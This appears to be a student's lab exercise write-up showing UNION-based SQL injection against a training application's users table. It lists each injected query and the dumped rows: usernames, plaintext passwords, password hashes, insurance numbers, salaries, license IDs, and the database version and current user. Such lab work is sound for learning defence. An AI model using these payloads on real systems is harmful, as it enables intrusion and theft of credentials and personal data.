

## Exercise 2: Teuschl

SQL database: Find all information about the following properties

### 1. ID, firstname, lastname

Enter your User ID

Query to database:

```
SELECT id, firstname, lastname FROM users where id = 1 UNION SELECT ID, firstname, lastname FROM users-- and protected = 0
```

ID	firstname	lastname	username	password
1	Alice	Apple		
2	Bob	Borderlands		
3	Eve	Evil		
4	Fred	Feuerstein		
5	Grace	Government		
6	Harald	Heidelberg		
7	Judy	Judge		

### 2. username, password

Enter your User ID

Query to database:

```
SELECT id, firstname, lastname FROM users where id = 0 UNION SELECT ID, username, password from users -- and protected = 0
```

ID	firstname	lastname	username
1	alice	applepie	
2	bob	cheesecake	
3	eve	*2F7DF9930EE602DC84F4597F8C646603CE90BEE8	
4	fred	\$securePass42	
5	grace	*6B41DEA510CC3DE99DAFE736C156761A35A0459E	
6	heidel	crypt0gr@phics	
7	judy	*1837841058DAC859705CFDB96B1660196F9B8ADE	

### 3. svnr, protected, license, salary, hobbies

Enter your User ID

Query to database:

SELECT id, firstname, lastname FROM users where id = 0 UNION SELECT ID, protected, license from users -- and protected = 0

ID	firstname	lastname	username	password	sv
1	0	W-75GGF2			
2	0	NK-AD232			
3	1	W-482343			
4	0	W-128304			
5	1	P-Gov 1			
6	0	H-eidi1			
7	1	W-Multi1			

Query to database:

SELECT id, firstname, lastname FROM users where id = 0 UNION SELECT ID, svnr, salary from users -- and protected = 0

ID	firstname	lastname	username	password
1	1454071295	500		
2	1503090487	700		
3	1548271190	1300		
4	1682030415	5000		
5	1458251294	8000		
6	1682030415	12000		
7	1682030415	40000		

Query to database:

SELECT id, firstname, lastname FROM users where id = 0 UNION SELECT ID, lastname, hobbies from users -- and protected = 0

ID	firstname	lastname	username	password
1	Apple	App Developemnt		
2	Borderlands	E-Mails schreiben		
3	Evil	Phishing		
4	Feuerstein	Reisen		
5	Government	Lesen		
6	Heidelbeer	Enigma		
7	Judge	Justice		

## 4. database version, current user, server version

Query to database:

```
SELECT id, firstname, lastname FROM users where id = 0 UNION SELECT SUBSTRING_INDEX(@@version, ' ', 1), current_user(), SUBSTRING_INDEX(@@version, ' ', -1) -- and protected = 0
```

ID	firstname	lastname	username	password	svnr	protected	license
5.7.28	labUser@localhost	0ubuntu0.18.04.4					